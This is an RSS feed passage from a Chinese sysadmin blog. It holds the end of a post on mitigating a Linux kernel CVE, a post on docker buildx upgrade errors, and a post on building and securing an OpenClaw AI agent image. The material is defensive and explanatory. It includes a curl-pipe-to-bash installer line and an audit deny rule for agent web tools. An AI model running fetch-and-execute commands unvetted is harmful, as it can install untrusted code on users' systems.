<p class="ds-markdown-paragraph"><strong>1. 根治办法：更新内核</strong><br />
各大发行版应该已经推送了补丁，直接升级就好：</p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">bash</span></div>
</div>
</div>
</div>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt&lt;/span&gt; update &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt&lt;/span&gt; upgrade   &lt;span class=&quot;token comment&quot;&gt;# Debian/Ubuntu&lt;/span&gt;</pre><p>
</p></div>
<p class="ds-markdown-paragraph"><strong>2. 紧急止血：禁用相关内核模块</strong><br />
如果暂时不能重启或更新，立即执行这两条命令，阻断利用路径：</p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">bash</span></div>
</div>
</div>
</div>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;install algif_aead /bin/false&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&amp;gt;&lt;/span&gt;/dev/null</pre><p>
</p></div>
<p class="ds-markdown-paragraph">这招相当于直接卸掉攻击者的“炮管”，再猛烈的 exploit 也只能干瞪眼。</p>
<h2>后话：容器逃逸也在射程内</h2>
<p class="ds-markdown-paragraph">这个漏洞利用的是 <strong>page cache 内核全局共享</strong> 的特性，意味着它在容器里同样能生效 —— 从区区一个容器直接逃逸到宿主机 root。</p>
<p class="ds-markdown-paragraph">今天放假，就不折腾容器环境了，留给上班后再试。</p>
<hr />
<p class="ds-markdown-paragraph"><strong>总结一句话</strong>：CVE-2026-31431 门槛极低、效果炸裂，但只要系统不是“刚刚好”的环境，它就嚣张不起来。赶紧看看你的 22.04，没打补丁的话，这假期可过不安稳。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2026/05/cve-2026-31431-linux-copy-fail/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>upgrade buildx</title>
		<link>https://blog.wanjie.info/2026/02/upgrade-buildx/</link>
					<comments>https://blog.wanjie.info/2026/02/upgrade-buildx/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sat, 07 Feb 2026 01:53:08 +0000</pubDate>
				<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[buildx]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4059</guid>

					<description><![CDATA[docker buildx 多架构镜像构建遇到 no active session for ** 报错]]></description>
										<content:encoded><![CDATA[<h1>背景</h1>
<p>几年前折腾过 多架构构建的 buildx 一直用着很顺畅，这2天构建镜像，总是遇到这个 error: no active session for ***: context deadline exceeded报错</p>
<p>查了下，可能和 buildx 版本有关，希望升级能解决。</p>
<p><span id="more-4059"></span></p>
<h1><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4070" src="https://blog.wanjie.info/wp-content/uploads/2026/02/upgrades-1030x579.png" alt="" width="1030" height="579" srcset="https://blog.wanjie.info/wp-content/uploads/2026/02/upgrades-1030x579.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/02/upgrades-300x169.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/02/upgrades-768x432.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/02/upgrades-512x288.png 512w, https://blog.wanjie.info/wp-content/uploads/2026/02/upgrades.png 1280w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></h1>
<h1>升级步骤</h1>
<p>当然是 直接更新 buildx 的最新版本, https://github.com/docker/buildx/releases</p><pre class="urvanov-syntax-highlighter-plain-tag"># 下载并更新
wget -c https://github.com/docker/buildx/releases/download/v0.31.1/buildx-v0.31.1.linux-amd64 -O /root/buildx031
chmod +x /root/buildx031
 cp /root/buildx031 /usr/libexec/docker/cli-plugins/docker-buildx
cp: overwrite ‘/usr/libexec/docker/cli-plugins/docker-buildx’? yes

#  检查下版本
docker buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531
# 完整路径检查
 /usr/libexec/docker/cli-plugins/docker-buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531</pre><p>更新后，继续构建，遇到 api 兼容报错</p>
<p>docker buildx build --platform linux/amd64,linux/arm64 -t cnrock/moltbot:v1 . --push 2&gt;&amp;1 |tee /tmp/bot.log ERROR: failed to build: Error response from daemon: client version 1.52 is too new. Maximum supported API version is 1.43: driver not connecting</p>
<p>意思就是</p>
<p>buildx v0.31.1 使用了API 1.52，而我当前环境的Docker 24.0.6支持的最高API版本是1.43</p>
<p>按提示更新 docker 呗。</p>
<p>yum update 遇到报错了，原因是 vps是甲骨文的，系统是 20年6月的 Oracle Linux Server 7.9</p>
<p>7.9 停更很久了，无法直接更新，提示yum-tokyo... 这里 repo  404</p>
<p>发现这里是一个地区变量，sed 全部替换掉</p>
<p><code>sudo sed -i 's/\$ociregion//g' /etc/yum.repos.d/*.repo</code></p>
<p>再 yum makecache 即可</p>
<p>升级命令</p><pre class="urvanov-syntax-highlighter-plain-tag">yum update docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin</pre><p>升级前后版本对比</p><pre class="urvanov-syntax-highlighter-plain-tag">Resolving Dependencies
--&gt; Running transaction check
---&gt; Package containerd.io.x86_64 0:1.6.24-3.1.el7 will be updated
---&gt; Package containerd.io.x86_64 0:1.6.33-3.1.el7 will be an update
---&gt; Package docker-buildx-plugin.x86_64 0:0.11.2-1.el7 will be updated
---&gt; Package docker-buildx-plugin.x86_64 0:0.14.1-1.el7 will be an update
---&gt; Package docker-ce.x86_64 3:24.0.6-1.el7 will be updated
---&gt; Package docker-ce.x86_64 3:26.1.4-1.el7 will be an update
---&gt; Package docker-ce-cli.x86_64 1:24.0.6-1.el7 will be updated
---&gt; Package docker-ce-cli.x86_64 1:26.1.4-1.el7 will be an update
---&gt; Package docker-compose-plugin.x86_64 0:2.21.0-1.el7 will be updated
---&gt; Package docker-compose-plugin.x86_64 0:2.27.1-1.el7 will be an update
--&gt; Finished Dependency Resolution</pre><p>&nbsp;</p>
<p>但这样升级会把 buildx 回退，这2个逻辑有点神奇</p>
<p>docker buildx version</p>
<p>github.com/docker/buildx v0.14.1 59582a8</p>
<p>&nbsp;</p>
<p>/usr/libexec/docker/cli-plugins/docker-buildx version<br />
github.com/docker/buildx v0.14.1 59582a8</p>
<p>需要再次更新下</p><pre class="urvanov-syntax-highlighter-plain-tag"># 下载并更新
wget -c https://github.com/docker/buildx/releases/download/v0.31.1/buildx-v0.31.1.linux-amd64 -O /root/buildx031
chmod +x /root/buildx031
 cp /root/buildx031 /usr/libexec/docker/cli-plugins/docker-buildx
cp: overwrite ‘/usr/libexec/docker/cli-plugins/docker-buildx’? yes

#  检查下版本
docker buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531
# 完整路径检查
 /usr/libexec/docker/cli-plugins/docker-buildx version
github.com/docker/buildx v0.31.1 a2675950d46b2cb171b23c2015ca44fb88607531</pre><p>&nbsp;</p>
<h1>尾声</h1>
<p>构建镜像 还是遇到这个报错，无解了？</p><pre class="urvanov-syntax-highlighter-plain-tag">ERROR: failed to build: failed to solve: DeadlineExceeded: failed to push cnrock/openclaw:v1: no active session for x8821klxrbc7g2j3s94ryho4o: context deadline exceeded</pre><p>&nbsp;</p>
<p>清理下缓存看看</p><pre class="urvanov-syntax-highlighter-plain-tag">docker builder prune -af &amp;&amp; docker buildx prune -af

ID						RECLAIMABLE	SIZE		LAST ACCESSED
gedc44uv09brh7k1b5ihcdv7a*              	true 		146.4MB
fyfv6pxd2nu9a7a3rpwbct2je               	true 	0B        	1 second ago
opkb996ch7wdzq5ri28aea96h               	true 	88.16MB   	5 seconds ago
zm924nzc6kf6m6dr2l6t04p1t               	true 	68.4MB    	5 seconds ago
n1mq6swjl2yieubbye1e1dyjg               	true 	0B        	Less than a second ago
wjq8a2e7003ixvqulmwj7w8a5               	true 	3.144kB   	Less than a second ago
wibxmwpekzhzdgf59ltjl7djp               	true 	2.477GB   	59 seconds ago
s2r9rasg75rai76vq1yr57p0h               	true 	107.3MB   	6 seconds ago
8rbg7n8bi8djgd7v4zu274du8               	true 	746.5MB   	23 seconds ago
c84xzuc4cedx9s3wnxuh4ct57               	true 	0B        	Less than a second ago
qbydufcgecvlvff383ptec4ib               	true 	0B        	4 seconds ago
Total:	3.634GB
ID						RECLAIMABLE	SIZE		LAST ACCESSED
ginvvjcmeqo9d1ywai7uniy57               	true 		17.03MB   	8 minutes ago
bfi3nue5fcy98bllqfpjhrnf5*              	true 	4.096kB   	8 minutes ago
xvczyifbxfyt93g3e8wn0hpra               	true 	43.38MB   	8 minutes ago
y8or8ryz0k0hlbzsqtygsz31f               	true 	2.178GB   	8 minutes ago
frhx3okb3yt3a1cx15rh8doij               	true 	522.1kB   	8 minutes ago
jkotdgurx7vjieksh6i8cuedo               	true 	151B      	45 minutes ago
jjntlo74l3ytwnjkfbv469419               	true 	4.511kB   	45 minutes ago
d5h9j2mstr65h10xp6yjg2nzw               	true 	532.6kB   	45 minutes ago
jt54eop4mla5fwsu8cpomzwcx               	true 	32B       	45 minutes ago
ccbgzfwlhfk7effg93tm0hacu               	true 	93B       	45 minutes ago
nsbm1mp4pscqk3c5csmz4fjar               	true 	196.7kB   	45 minutes ago
belnpn9x5hragi7njjzru42dd               	true 	4.288kB   	45 minutes ago
xg5gvoflxc5a051ntlgmiz1rk               	true 	141.8MB   	45 minutes ago
bp1o42065rtiaptvajozssqtq               	true 	4.542kB   	45 minutes ago
bd0z536inzhhoa6brnlzq8907               	true 	6.625MB   	About an hour ago
pyz1arj7tuijmm4hogezi7uqz               	true 	269.1MB   	About an hour ago
037cgb6u7x0mq7dkrixlkv0i2               	true 	60.67kB   	About an hour ago
5o3epn1zatu8gak8ca3v3nuz6               	true 	825.9MB   	About an hour ago
lktznd2lmas9mj45sqt1ibfja               	true 	255.7MB   	About an hour ago
w89z0erggtkwthk4q4082m0hj               	true 	75.09MB   	About an hour ago
rbb6wjhfco7eueu0l4g9tw8wp               	true 	179MB     	About an hour ago
Total:	3.993GB</pre><p>&nbsp;</p>
<p>无解中，放弃buildx 多架构构建了，暂时单独找了amd和arm vps节点真实环境构建后合并。</p>
<p>有空再继续。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2026/02/upgrade-buildx/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>openclaw</title>
		<link>https://blog.wanjie.info/2026/02/openclaw/</link>
					<comments>https://blog.wanjie.info/2026/02/openclaw/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sun, 01 Feb 2026 02:02:17 +0000</pubDate>
				<category><![CDATA[network]]></category>
		<category><![CDATA[Clawdbot]]></category>
		<category><![CDATA[Moltbot]]></category>
		<category><![CDATA[OpenClaw]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4060</guid>

					<description><![CDATA[背景 引子：项目名字比代码变得还快 这两周，一个叫做 OpenClaw（或Moltbot，又或者 Clawdbot）的AI Agent突然大火，据说还带动了 Mac mini m4 的销售。客户和领导在群里一句"这个很火，看看能不能上架一个镜像"，我便开始了这段折腾之旅。 首先困扰我的不是技术，而是这项目改名太频繁了——从 Clawdbot 到 Moltbot 再到 OpenClaw。我 git clone 时看名字都觉得是不是自己下错了，而且隔天升级发现又变了一个名字了。我只能安慰自己：名字不重要，重要的是它确实 [&#8230;]]]></description>
										<content:encoded><![CDATA[<div data-page-id="AAmmdEz7BojGU6xPJZmc0yhMnSg" data-lark-html-role="root" data-docx-has-block-data="true">
<div class="ace-line ace-line old-record-id-I9nEdtsLooOP48xKB3gcvu3bnFb">
<h1>背景</h1>
<h2>引子：项目名字比代码变得还快</h2>
<p>这两周，一个叫做 OpenClaw（或Moltbot，又或者 Clawdbot）的AI Agent突然大火，据说还带动了 Mac mini m4 的销售。客户和领导在群里一句"这个很火，看看能不能上架一个镜像"，我便开始了这段折腾之旅。</p>
<p>首先困扰我的不是技术，而是这项目改名太频繁了——从 Clawdbot 到 Moltbot 再到 OpenClaw。我 git clone 时看名字都觉得是不是自己下错了，而且隔天升级发现又变了一个名字了。我只能安慰自己：名字不重要，重要的是它确实能自动给你打工。</p>
<p>我们的目标是：构建镜像 → 上架算力云平台 → Demo 给客户看。听起来简单，对吧？</p>
</div>
</div>
<p>&nbsp;</p>
<h1>折腾过程</h1>
<div data-page-id="AAmmdEz7BojGU6xPJZmc0yhMnSg" data-lark-html-role="root" data-docx-has-block-data="true">
<div class="ace-line ace-line old-record-id-I9nEdtsLooOP48xKB3gcvu3bnFb">
<h2>第一章：本地安装同时构建镜像</h2>
<p>官方提供了三种安装方式，最香的自然是一键脚本 <code>curl -fsSL https://openclaw.ai/install.sh | bash</code>。 官方提供了 Dockerfile和docker-setup.sh命令，但是没上架镜像，是不是担心流量太贵，于是我尝试来构建一下镜像。 我打的镜像在这里 cnrock/openclaw:2026.1.30</p>
<p>&nbsp;</p>
<p>构建搞了2天，主要原因是 vps 内存不给力，切换本地构建嘛，网络不给力。</p>
<h3>几个报错</h3>
<h4>第一个报错 frame too large</h4>
</div>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">ERROR: listing workers: failed to list workers: Unavailable: connection error:
desc = "error reading server preface: http2: frame too large"</pre><p></p>
<div class="ace-line ace-line old-record-id-I9nEdtsLooOP48xKB3gcvu3bnFb">
<p>解决套路很常规：<strong>重启试试。</strong></p>
</div>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag"># 重启 Docker 服务
sudo systemctl restart docker

# 删除现有 Buildx 构建器
docker buildx rm mybuilder 2&gt;/dev/null || true

# 创建新的构建器
docker buildx create --use --name multiarch-builder

# 重新运行构建
docker buildx build --progress=plain --platform linux/amd64,linux/arm64 -f Dockerfile -t cnrock/openclaw:v1 . --push</pre><p>
</p></div>
<h4>第2个报错 JavaScript Heap Out of Memory</h4>
<div data-page-id="AAmmdEz7BojGU6xPJZmc0yhMnSg" data-lark-html-role="root" data-docx-has-block-data="true">
<div class="ace-line ace-line old-record-id-I9nEdtsLooOP48xKB3gcvu3bnFb">
<pre class="urvanov-syntax-highlighter-plain-tag">#21 370.0 FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
370.3  3: 0x1216eb7 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&amp;) [node]
ERROR: failed to solve: process "/bin/sh -c OPENCLAW_A2UI_SKIP_MISSING=1 pnpm build" did not complete successfully: exit code: 134</pre><br />
&nbsp;</p>
<p>在构建 ARM64 镜像时，Node.js 默认内存限制在多架构编译压力下直接爆掉：</p>
<p>vps 没个大内存机器真别玩多架构构建。</p>
<p>鉴于节点还是有 swap 内存的，尝试加参数看看，后来没这个报错了</p><pre class="urvanov-syntax-highlighter-plain-tag"># 设置 Node.js 内存限制
ENV NODE_OPTIONS="--max-old-space-size=4096"</pre><p>
</p></div>
</div>
<h4>第3个报错  no active session</h4>
<h4>no active session</h4>
<p>找到了这个 issue<a href="https://github.com/docker/buildx/issues/456" target="_blank"  rel="nofollow" > https://github.com/docker/buildx/issues/456</a></p>
<p>引出了另一篇 ，buildx 升级，待后续有空写，暂时放弃buildx 多架构，直接本地docker 构建通过了</p><pre class="urvanov-syntax-highlighter-plain-tag">ERROR: failed to solve: DeadlineExceeded: failed to push cnrock/moltbot:v1-amd64: no active session for 2n6drhn4mikq0mn14h621ypw7: context deadline exceeded</pre><p>&nbsp;</p>
<div data-page-id="AAmmdEz7BojGU6xPJZmc0yhMnSg" data-lark-html-role="root" data-docx-has-block-data="true">
<div class="ace-line ace-line old-record-id-I9nEdtsLooOP48xKB3gcvu3bnFb">
<h2>第二章：安装的"灵魂拷问"</h2>
<p>使用很香的一键脚本安装，真正的交互式"盘问"开始了。这安装程序设计得非常"贴心"——贴心到每个步骤都要你确认，仿佛在说：**"你真的知道自己在干什么吗？"**</p>
<h3>第一关：安全警告</h3>
<p>&nbsp;</p><pre class="urvanov-syntax-highlighter-plain-tag">```
Please read: https://docs.clawd.bot/security
Clawdbot agents can run commands, read/write files...
I understand this is powerful and inherently risky. Continue?
```</pre><p>&nbsp;</p>
<p>翻译一下："这玩意儿能删你根目录，确定要继续吗？" 当然要，来都来了。</p>
<p>### 第二关：模型选择困难症<br />
安装程序列出了一长串模型提供商，从 OpenAI、Anthropic 到国内的 Qwen、MiniMax，甚至还有 Venice AI、Z.AI 这种小众选择。</p><pre class="urvanov-syntax-highlighter-plain-tag">```
◆ Model/auth provider
│ ● OpenAI (Codex OAuth + API key)
│ ○ Anthropic
│ ○ MiniMax
│ ○ Qwen
│ ○ Moonshot AI
│ ...（还有十几个选项）
```</pre><p>&nbsp;</p>
<p>我先选择了 **Skip for now**，因为后面可以通过配置文件注入，更适合容器化场景。</p>
<h3>第三关：Channel 选择</h3>
<p>程序问你要连哪些聊天渠道：Telegram、WhatsApp、Discord、Slack、钉钉...足足列出了十几种。我选择了 **Skip for now**（后来手动配置了qwen，这是后话）。</p>
<h3>第四关：Homebrew 的执念</h3>
<p>程序强烈推荐安装 Homebrew 来管理依赖，甚至给出了安装命令。但在容器里装 Homebrew？ 但直接安装又告诉你 root 用户别玩 brew。</p>
<p>我选择了 <code>npm</code> 作为包管理器，并跳过了 Skill 依赖安装（后面发现有些功能确实因此受限，这是取舍）。</p>
<p>&nbsp;</p>
<h2>第四章：网关暴露的"安全悖论"</h2>
<p>安装完成后，程序贴心地提示：<br />
<code></code><code><br />
Dashboard link (with token): http://127.0.0.1:18789/?token=。。。。。。。<br />
No GUI detected. Open from your computer:<br />
ssh -N -L 18789:127.0.0.1:18789 root@10.23.45.67<br />
</code><code></code></p>
<p>默认绑定在 <code>127.0.0.1</code>（loopback），意味着只有本机能访问。这对于服务器部署很不友好——我总不能每次看面板都先 SSH 打隧道吧？</p>
<p>于是我想：<strong>改成 LAN 模式，监听所有网卡试试</strong>：</p><pre class="urvanov-syntax-highlighter-plain-tag">```bash
clawdbot configure --section gateway
# 选择 LAN (All interfaces)
clawdbot gateway restart
```</pre><p>改完访问，浏览器给了我一个冰冷的错误：</p><pre class="urvanov-syntax-highlighter-plain-tag">```
disconnected (1008): control ui requires HTTPS or localhost (secure context)
```</pre><p>&nbsp;</p>
<p>**顿悟时刻**：这是个安全设计！浏览器不允许在非安全上下文（非 HTTPS 或 localhost）中传输敏感 token。这意味着：</p>
<p>1. **本地开发**：用 localhost 没问题<br />
2. **服务器部署**：必须上 HTTPS 证书<br />
3. **直接暴露 IP**：被明确禁止</p>
<p>这也解释了为什么网上有那么多暴露的 OpenClaw 面板被扫描出来——很多人为了图方便，要么用 HTTP 暴露，要么把 token 写死在配置里。设置其他更多的key信息也暴露了。</p>
<p>&nbsp;</p>
<h2>第五章：使用篇</h2>
<p>开始 接入国产模型（通义千问）</p>
<p>clawdbot configure --section model</p>
<p>既然要上架国内算力云，用 OpenAI API 不太现实。我接入了阿里云的通义千问：</p>
</div>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">◆ Model/auth provider
│ ○ OpenAI (Codex OAuth + API key)
│ ○ Anthropic
│ ○ MiniMax
│ ● Qwen (OAuth)
│ ○ Moonshot AI</pre><p>
</p></div>
<p>会让你在线激活</p><pre class="urvanov-syntax-highlighter-plain-tag">│  Open https://chat.qwen.ai/authorize?user_code=QL8QXQYK&amp;client=qwen-code to approve  │
│  access.                                                                             │
│  If prompted, enter the code QL8QXQYK.</pre><p>顺便解决</p>
<div data-page-id="AAmmdEz7BojGU6xPJZmc0yhMnSg" data-lark-html-role="root" data-docx-has-block-data="true">
<div class="ace-line ace-line old-record-id-I9nEdtsLooOP48xKB3gcvu3bnFb">
<p># 重启网关生效<br />
clawdbot gateway restart<br />
<code></code><code></p>
<p>这里有个有趣的细节：Qwen 的 API 兼容 OpenAI 格式（</code>compatible-mode/v1<code>），这大大降低了接入成本。国内大模型厂商都在走"兼容 OpenAI 接口"的路线，这是一种务实的选择——既照顾了开发者习惯，又降低了迁移成本。</p>
</div>
</div>
<p>试玩</p>
<h2 class="heading-2 ace-line old-record-id-WVoYdzVLGoY2Bcx4jqYcx4PTnUf">Webui 截图</h2>
<div class="ace-line ace-line old-record-id-GUhUdspIqonDGlxsZnycOWMsnR2"><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4061" src="https://blog.wanjie.info/wp-content/uploads/2026/01/webui-1-1030x488.png" alt="" width="1030" height="488" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/webui-1-1030x488.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/01/webui-1-300x142.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/webui-1-768x364.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/01/webui-1.png 1280w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></div>
<div></div>
<div></div>
<div class="ace-line ace-line old-record-id-UVVHd3XCIohN87xgqTicx7SrnKd">访问看看，如果不带token ，会提示未授权。</div>
<div class="image-uploaded gallery old-record-id-XvPBdPdFHocVCOxRcuoc3WtCnLf" data-type="image" data-ace-gallery-json="{&quot;items&quot;:[{&quot;uuid&quot;:&quot;a3ba09a6-e3d6-4533-b40b-520d651c02b3&quot;,&quot;height&quot;:739,&quot;width&quot;:1913,&quot;currHeight&quot;:739,&quot;currWidth&quot;:1913,&quot;natrualHeight&quot;:739,&quot;natrualWidth&quot;:1913,&quot;pluginName&quot;:&quot;imageUpload&quot;,&quot;scale&quot;:1,&quot;src&quot;:&quot;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FD1K2bkdbPoC7rExgzPZcDhQpn5b%2F%3Fpreview_type%3D16&quot;,&quot;file_token&quot;:&quot;D1K2bkdbPoC7rExgzPZcDhQpn5b&quot;,&quot;image_type&quot;:&quot;image/png&quot;,&quot;size&quot;:275308,&quot;comments&quot;:[]}]}"></div>
<div class="ace-line ace-line old-record-id-EFQ1dKzAholyYUxjf4icsC9Rn3d"><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4063" src="https://blog.wanjie.info/wp-content/uploads/2026/01/token-1-1030x398.png" alt="" width="1030" height="398" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/token-1-1030x398.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/01/token-1-300x116.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/token-1-768x296.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/01/token-1.png 1280w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></div>
<div class="ace-line ace-line old-record-id-SlAOdCkZ6odshOxs3mqcohL8ngf"></div>
<div class="ace-line ace-line old-record-id-TFohd4603od6gBxEDXqc3Z48nqf"></div>
<h3 class="heading-3 ace-line old-record-id-BAHidTMoSosGrExrW7Rcdfn9nUc">bot在自动干活中</h3>
<div class="ace-line ace-line old-record-id-XH1YdJ9fOoQoBhxPNzJc4710nid"><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4062" src="https://blog.wanjie.info/wp-content/uploads/2026/01/doing-1-1030x597.png" alt="" width="1030" height="597" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/doing-1-1030x597.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/01/doing-1-300x174.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/doing-1-768x445.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/01/doing-1.png 1280w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></div>
<div class="image-uploaded gallery old-record-id-TYlGdicUWoIAZuxLRsgczT0Ln5c" data-type="image" data-ace-gallery-json="{&quot;items&quot;:[{&quot;uuid&quot;:&quot;ba63b98f-2061-4332-9013-0a8ed102d4fa&quot;,&quot;height&quot;:1112,&quot;width&quot;:1918,&quot;currHeight&quot;:1112,&quot;currWidth&quot;:1918,&quot;natrualHeight&quot;:1112,&quot;natrualWidth&quot;:1918,&quot;pluginName&quot;:&quot;imageUpload&quot;,&quot;scale&quot;:1,&quot;src&quot;:&quot;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FJ4HYbcerHo3RjqxMzALc7bM5nGh%2F%3Fpreview_type%3D16&quot;,&quot;file_token&quot;:&quot;J4HYbcerHo3RjqxMzALc7bM5nGh&quot;,&quot;image_type&quot;:&quot;image/png&quot;,&quot;size&quot;:421664,&quot;comments&quot;:[]}]}"></div>
<div data-type="image" data-ace-gallery-json="{&quot;items&quot;:[{&quot;uuid&quot;:&quot;ba63b98f-2061-4332-9013-0a8ed102d4fa&quot;,&quot;height&quot;:1112,&quot;width&quot;:1918,&quot;currHeight&quot;:1112,&quot;currWidth&quot;:1918,&quot;natrualHeight&quot;:1112,&quot;natrualWidth&quot;:1918,&quot;pluginName&quot;:&quot;imageUpload&quot;,&quot;scale&quot;:1,&quot;src&quot;:&quot;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FJ4HYbcerHo3RjqxMzALc7bM5nGh%2F%3Fpreview_type%3D16&quot;,&quot;file_token&quot;:&quot;J4HYbcerHo3RjqxMzALc7bM5nGh&quot;,&quot;image_type&quot;:&quot;image/png&quot;,&quot;size&quot;:421664,&quot;comments&quot;:[]}]}"></div>
<div data-page-id="AAmmdEz7BojGU6xPJZmc0yhMnSg" data-lark-html-role="root" data-docx-has-block-data="true">
<div class="ace-line ace-line old-record-id-I9nEdtsLooOP48xKB3gcvu3bnFb">
<h1>尾声：安全的冷思考</h1>
<p>在整理这篇文章时，我搜索了一下暴露在互联网上的 OpenClaw/Moltbot 面板，结果触目惊心：</p>
<p>- 大量面板直接使用 HTTP 暴露，token 直接写在 URL 参数里<br />
- 有些甚至配置了允许任意 IP 访问的 CORS<br />
- 更严重的，有些实例的 </code>.clawdbot<code> 目录权限是 755，其他用户可读</p>
<p>这与各大云厂商（AWS、腾讯云、阿里云）力推"一键部署 Moltbot 云服务"形成了鲜明对比。**矛盾在于**：云服务需要便捷性，往往意味着更宽松的默认配置；而 AI Agent 的权限又极大（能执行命令、读写文件、访问代码仓库）。然后据说云厂商又开始搞各种阉割版。</p>
<p>&nbsp;</p>
<h2>给读者的建议：</h2>
<p>没搞懂前千万别图方便随便暴露服务。</p>
<p>1. **永远不要**在没有 HTTPS 的情况下暴露 Control UI<br />
2. **定期运行** </code>clawdbot security audit<code>，关注权限警告<br />
例如这个</p><pre class="urvanov-syntax-highlighter-plain-tag">openclaw security audit

🦞 OpenClaw 2026.1.30 (76b5208) — Your terminal just grew claws—type something and let the bot pinch the busywork.

OpenClaw security audit
Summary: 1 critical · 2 warn · 1 info
Run deeper: openclaw security audit --deep

CRITICAL
models.small_params Small models require sandboxing and web tools disabled
  Small models (&lt;=300B params) detected:
- public/deepseek-r1-distill-qwen-32b (32B) @ agents.defaults.model.fallbacks (unsafe; sandbox=off; web=[web_fetch, browser])
Uncontrolled input tools allowed: web_fetch, browser.
Small models are not recommended for untrusted inputs.
  Fix: If you must use small models, enable sandboxing for all sessions (agents.defaults.sandbox.mode="all") and disable web_search/web_fetch/browser (tools.deny=["group:web","browser"]).

WARN
gateway.trusted_proxies_missing Reverse proxy headers are not trusted
  gateway.bind is loopback and gateway.trustedProxies is empty. If you expose the Control UI through a reverse proxy, configure trusted proxies so local-client checks cannot be spoofed.
  Fix: Set gateway.trustedProxies to your proxy IPs or keep the Control UI local-only.
fs.credentials_dir.perms_readable Credentials dir is readable by others
  /root/.openclaw/credentials mode=755; credentials and allowlists can be sensitive.
  Fix: chmod 700 /root/.openclaw/credentials

INFO
summary.attack_surface Attack surface summary
  groups: open=0, allowlist=0
tools.elevated: enabled
hooks: disabled
browser control: enabled</pre><p>&nbsp;</p>
<p>3. **使用 sandbox** 模式限制 Agent 的文件系统访问范围<br />
4. **Token 管理**：考虑使用反向代理（Nginx/Caddy）做额外的鉴权层，不要只依赖应用自身的 token</p>
<p>&nbsp;</p>
<h2>结语：追风者的自白</h2>
<p>从 "这名字到底叫啥" 到 "这面板千万别乱暴露"，这趟追风之旅充满了技术细节的魔鬼。OpenClaw/Moltbot/Clawdbot 确实是一个强大的工具——它能读代码、改配置、甚至自己 debug，但它也需要使用者有足够的安全意识。</p>
<p>最后附上我的双架构镜像，与官网相比，增加了 Playwright + Chromium 功能，具备浏览外网能力（最近发了10多个版本，随之我也打了10多版镜像，持续更新中吧）：</p>
<p></code><code></code>bash<br />
docker pull cnrock/openclaw:latest<br />
<code></code>`</p>
<p>或者，如果你也想体验构建过程的"乐趣"，可以从上面的 Dockerfile 开始，记得给 Node.js 多分配点内存。</p>
<p>**毕竟，追风没问题，但别被风刮跑了。**</p>
<p>---</p>
<h1>参考资料：</h1>
